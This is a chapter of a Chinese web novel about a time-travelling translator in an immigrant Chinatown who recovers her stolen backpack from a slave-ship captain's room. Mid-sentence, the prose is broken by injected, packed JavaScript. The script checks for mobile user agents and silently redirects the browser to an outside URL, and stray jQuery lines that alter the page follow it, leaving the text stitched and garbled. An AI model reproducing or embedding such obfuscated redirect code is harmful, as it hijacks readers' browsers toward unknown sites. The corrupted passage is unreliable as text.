23. 英专生×吸血鬼(二十三)
作品:《【人外】我的男友非人类》 辛月裹紧单薄的羊毛披肩,踩着石板路上的积雪快步前行。
十二月的寒风卷着煤气味和雪花扑在脸上,她不得不压低帽檐,将冻得发红的手指缩进袖口。
街边卖酒的小贩吆喝着,酒馆门一开一合间,热气从门里冲出,混着周围移民的喧闹声,整条唐人街嘈杂而鲜活。
这里是移民聚居的地方,鱼龙混杂。
难以想象,她已经穿到这个时代将近一年了。
辛月拐进一条窄巷,推开“乾盛”餐馆的后门,油腻的饭菜香气扑面而来,楼梯下的厨房里,方莲正低着头往蒸笼里码包子,蒸汽熏得她脸颊发红。
“回来啦?”方莲头也不抬,喊道,“阁楼炉子上煨了姜汤,趁热喝。”
辛月应了一声,踩着吱呀作响的木梯爬上阁楼。
这间低矮的房间被布帘隔成两半,她的床铺旁堆满了书籍,英语的《呼啸山庄》、意大利语的《神曲》,还有她正在翻译的《福尔摩斯探案集》。
三个月前,当她在爱丽丝港口帮一个英国移民填写入境表格时,这位书商约翰逊先生看中了她流利的口语,并且惊喜地发现她竟然精通三国语言,于是聘请她担任书籍翻译工作,现在她每周能拿到15美元的翻译酬劳,这在移民区简直是笔巨款。
辛月从床底抽出铁皮盒,将刚拿到手的稿费放进去,数了数里面所有的硬币和纸币,已经攒了100美元,可以租下隔壁街那间有玻璃窗的小屋了,但是越攒钱她反而越不敢花钱了。
看着自己的钱越来越多,她的心里就充满由衷的满足感。
她忍不住哼起歌来,把方莲绣的手帕铺在枕头上,放松地躺在床上,熬了还几天夜赶稿,她现在要好好小憩一会。
姜汤散发着浓郁的香味,枕巾上面金黄灿烂的迎春花,让她想起家乡的春天。
暮色渐沉时,辛月终于醒了,出门去买披萨。
她借住在方莲这里,方莲也是依靠餐馆的老板才能有个落脚的地方,她不想方莲为难,所以每月都会付给老板食宿费,但看过老板一边叼着烟,一边炒饭的英姿,辛月就对食品安全问题产生了怀疑。
走过一条街,路过路口的面包店时,橱窗里突然映出一个熟悉的身影。
棕色皮肤,裹着褪色头巾,挎着一个篮子,正将面包往篮子里放。
是那个女仆!
在运奴船的底舱里,就是她每天递来发霉的米饭和水。
辛月的血液瞬间冻结,那个夺走她包袱的船长,肯定就在附近。
她压低帽檐跟了上去。
女仆拐了几条巷子,前方豁然开朗,人流如织,一座船坞临水而建,相较于繁华的港口而言,船坞很偏僻,木板因常年浸泡而发黑腐烂,水面漂浮着油污,但这里的水手、船员丝毫不比港口少。
辛月贴着堆起来的锈蚀的铁桶藏身,目光紧锁前方。
一艘熟悉又陌生的中型船正歪斜地停靠在最里侧的泊位,甲板上焦黑的烧痕格外醒目。
“五千美元,少一个子儿都不卖!”胖子的吼声在寂静的船坞里炸开,他的衬衫在腹部绷得紧紧的,被汗浸透,他正跺着小脚,振振有词,“烧坏的只是上层甲板,老子换批木板就能……”
“最多两千。”戴礼帽的男人用鞋尖踢了踢船身,“龙骨都被虫蛀空了,底舱又脏又臭,先生,你曾用这艘船运过奴隶吧?”
男人的蓝眼睛射出精光,嘴角勾起一抹刻薄的又得意的笑。
胖子脸上的横肉抽搐起来。
当礼帽男转身离开时,胖子突然抄起扳手砸向水桶,惊飞了栖息在桅杆上的海鸥。
“该死的清国佬!该死的清国女人!”他像一个爆炸土豆,脸涨得通红,“别让我抓住那个放火的小贱人!”
辛月捂住嘴,一抹笑却从指缝中露出,几月前,胖子的咒骂她的声音也是这样撕心裂肺。
但她还是成功地带着大家跑了。
不过,幸好那时勒瓦尔路过……
等等!
好好的想他干什么?
潮水拍打桩基,海浪一波一波,连绵不息,辛月摇摇脑袋。
当胖子骂咧咧走向船坞旁的酒馆时,辛月从阴影中钻出,悄悄跟在那胖子身后,看着他骂骂咧咧地推开一家小旅馆的门。
她跟了进去。
破旧的木门发出刺耳的吱呀声,扑面而来的是混杂着劣质烟草、酒精和汗臭的浑浊空气。
旅馆大堂挤满了形形色色的人,水手们围在角落的牌桌上高声叫嚷,几个衣衫褴褛的妓/女倚在楼梯扶手边招揽生意,角落里一个醉醺醺的人正对着墙呕吐。
油腻的煤油灯在天花板上摇晃,投下扭曲晃动的阴影,好几个人身上有鲜红疹子,那是梅毒疮。
辛月压低帽檐,贴着墙边溜了进去,她注意到胖子径直走向吧台,粗鲁地推开一个正在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013077|176094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝酒的瘦小男人,冲着酒保吼道:“威士忌!”
酒保是个独眼老头,慢吞吞地端上酒,对他的暴躁视若无睹,胖子灌下一大口酒,又骂起来:“那帮清国佬,害我损失了整整一船货!要是让我逮到那个放火的小贱人,我一定弄死她!”
“她?女人?呵呵……”
周围的人发出一阵哄笑,为白男被一个清国女人耍弄了。
辛月的心猛地一跳,下意识往阴影里缩了缩。
胖子听见嘲笑,恼怒至极,但这里人太多了,他不敢发作,于是恨恨地上楼了。
辛月借着人群的掩护,悄悄靠近楼梯,想看看胖子住在哪个房间,直到胖子走到走廊尽头,身影消失,辛月才踏上楼梯。
她屏住呼吸,贴在木门上,听着门内传来的震天鼾声。
辛月从头上取下一根细发夹,将发夹掰成铁丝样,借着走廊昏黄的灯光,轻轻拨弄着锁孔,随着“咔嗒”一声轻响,门锁松动了。
霎时间,房间里弥漫着的汗臭和酒臭扑鼻而来,辛月顾不得嫌恶,一步跨进去,反手关上门。
胖子四仰八叉地倒在床上,酒瓶滚落在地上,墙角堆着几个木箱,其中一个箱盖半开,露出一角熟悉的尼龙面料。
辛月瞳孔骤缩。
是她的双肩包!
她忙轻手轻脚地挪过去,背包的拉链已经被暴力扯坏,但里面的东西竟然完好无损,装着护照和机票的透明文件袋、已经没电的手机、印着熊猫图案的U型枕,还有一些小零食,全都原封不动,只是上面有一些指印,看起来胖子没有从中看到值钱的玩意,就将其抛之脑后。
辛月迅速把物品塞回背包,抱着包就要离开。
“吱呀!”
木门响起声音,辛月与黑人女仆面面相觑。
两人在昏暗中只对视一秒,女仆疑惑地眨眨眼,深褐色的瞳孔骤然收缩:“是你!那个放火的!”
辛月抄起地上的酒瓶狠狠砸向她。
“砰”的闷响中,女仆的眼神昏了几秒,额头渗出鲜血,却像感觉不到痛似的扑上来,铁钳般的手抓住她的手腕:“来人啊!来人啊!”
辛月发狠地连续砸了三下,玻璃碎片飞溅,最后一下正中太阳穴,女仆终于软倒,但她的指甲在挣扎中划破了辛月的手掌,鲜血顺着虎口滴在地面。
走廊尽头已经传来脚步声,辛月顾不得包扎,抓起背包从窗口翻出。